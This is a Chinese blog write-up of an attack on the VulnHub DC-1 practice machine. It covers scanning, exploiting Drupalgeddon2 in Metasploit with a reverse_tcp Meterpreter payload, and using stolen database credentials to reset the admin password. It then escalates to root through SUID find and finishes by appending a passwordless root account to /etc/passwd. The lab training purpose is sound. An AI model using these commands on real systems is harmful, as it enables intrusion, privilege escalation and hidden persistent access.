前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >打靶系列之 - dc-1

打靶系列之 - dc-1

作者头像
用户6343818
发布2021-03-15 11:13:45
1K0
发布2021-03-15 11:13:45
举报
文章被收录于专栏:安全小圈安全小圈

前言

这篇文章是零度安全2021年的首篇文章,后期将会陆续更新打靶,实战系列的文章。

在这里也感谢大家对零度安全的支持与信任。

前期准备工作

今天要渗透的靶机是DC-1,首先需要将靶机下载下来。

靶机的下载地址是:https://www.vulnhub.com/entry/dc-1-1,292/

当把靶机下载好之后导入到VMware虚拟机当中,然后运行。

打开看到这个画面就说明已经把环境搭建好了,现在我们的目的就是拿下这个服务器。

1. 第一步信息收集

首先我们得知道这个服务器的ip地址是多少

在Kali中通过一下两个命令中任意一个获取到,目的是扫描整个网段可以ping通的IP:

nmap -sP 192.168.202.0/24

netdiscover-r 192.168.202.0/24

这里我用的是 netdiscover -r IP这个命令 ,可以看到192.168.202.125 就是我们的靶机,通过一下命令获取靶机开放的端口。

nmap -A 192.168.202.125

开放了80,111,和22端口

我们在页面访问80端口

看到是个典型的CMS。

2. 指纹识别

通过下面这个命令,可以获取到CMS名称,版本信息,开发语言

whatweb -v http://192.168.202.125/

通过探测识别我们可以看到,系统是Drupal框架。

3. 目录扫描

通过dirb扫描整个文章,看是否可以有利用的信息。

dirb http://192.168.202.125/。

但是并没有扫描出理想文件目录出来。

4. 漏洞利用

既然没有可以利用的点,那直接使用MSF,进行Drupal框架漏洞利用

进入kali 输入 msfconsole 打开MSF

搜索漏洞

search drupal

可以看到一堆可利用的漏洞,这里我们使用drupal_drupalgeddon2漏洞,可以直接getshell

输入

use exploit/unix/webapp/drupal_drupalgeddon2 #选择这个exp模块

这个时候MSF提示没有设置payload,所以需要设置一下payload

输入:set payload php/meterpreter/reverse_tcp

设置成功

既然我们要使用drupal_drupalgeddon2这个漏洞,那我们就得看下这个漏洞如何使用?

输入:

show options

可以看到我们需要输入靶机IP地址就可以。

输入:

set RHOSTS 192.168.202.125

设置好之后

输入exploit 开始进行漏洞攻击

在输入 shell

这个时候我们己经拿到了getshell

首先查看当前用户,输入whoami

发现不是root用户没关系,在找找其他突破口

ls一下,拿到flag1.txt

查看flag1.txt之后,他已经给我们了第二个提示,需要去找drupal配置文件。

获取一个完全交互式shell输入:

python -c 'import pty;pty.spawn ("/bin/bash")'

获取完全交互的shell,方便后面输入命令。

5. 寻找配置文件

找来找去,终于找到了,配置文件

sites/default/settings.php

我可以看到拿到了flag2,并且还拿到了数据库的账号和密码:

'database' => 'drupaldb',

'username' => 'dbuser',

'password' => 'R0ck3t',

'driver' => 'mysql'

首先查看mysql的服务是否启动:

netstat -anptl

看到mysql是启动的,但是无法进行远程连接,既然这样,接下来的思路就是直接在shell中连接数据库,然后修改页面登录密码,进入页面后台。

输入

mysql -udbuser -pR0ck3t #连接数据库

输入

show databases; #查看数据库

use drupaldb; #选择数据库

show tables; #查看当前数据库下的表名

可以看到users表

select * from users\G;

可以看到这个表存储的是账号和密码

修改admin这条数据的密码,我们需要一个加密过的密码。

通过寻找我们发现drupal的加密文件在scripts/password-hash.sh这个位置下。

退出mysql

exit;

输入phpscripts/password-hash.sh 123456

这个时候我们获取了123456 加密后的密码

进入数据库执行

update users set pass='SDlSKHHi7ce.SDNqIi.ADRfU4jht/eXAyXmj8pINH0oqLO4IW9vOM'where uid=1

这个时候我们就修改了密码,现在去后台登录试试

进入后台。

6. 页面操作

在逛页面的时候我们看到了flag3

打开看看写了什么

根据提示告诉我们可以去看下密码文件

进入msf会话中,去看下/etc/passwd文件

看到了fag4,提示我们去/home寻找线索

于是:

cd /home

cd flag4

cat flag4.txt

提示我们需要越权。

7. 越权

输入命令,目的是为了使用find命令查看拥有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

可以看到find也在其中,直接使用find命令进行越权

输入

find/home/flag4 -exec "whoami" \;

这里flag4是目录,你也可以指向任意目录

可以看到find是root权限

输入

find/home/flag4 -exec "/bin/sh" \;

提权成功

进入root目录查看最后一个flag

到这就拿下了整个靶机

为了登录方便执行

echo'admin::0:0:: /root:/bin/bash' >> /etc/passwd

给服务器写入账户为admin的免密登录账号,方便下次登录

8.总结

通过这个靶机有几个点你得掌握

1.使用nmap ,whatweb ,netdiscover 工具进行信息收集,获取到靶机的各个信息。

2.了解drupal,wordpress,joomla,是PHP三大CMS框架,很多基础信息需要通过百度来获取,比如上述的drupal数据库密码生成位置,和数据库配置。

3.掌握MSF的使用方法,通过MSF框架进行对靶机项目的漏洞利用。

4.必须掌握数据库操作,查询库,表,数据,修改,添加等操作。

5.find提权,通过find获取到root的suid,suid具有传递性,从而拿到root权限。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-03-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 零度安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档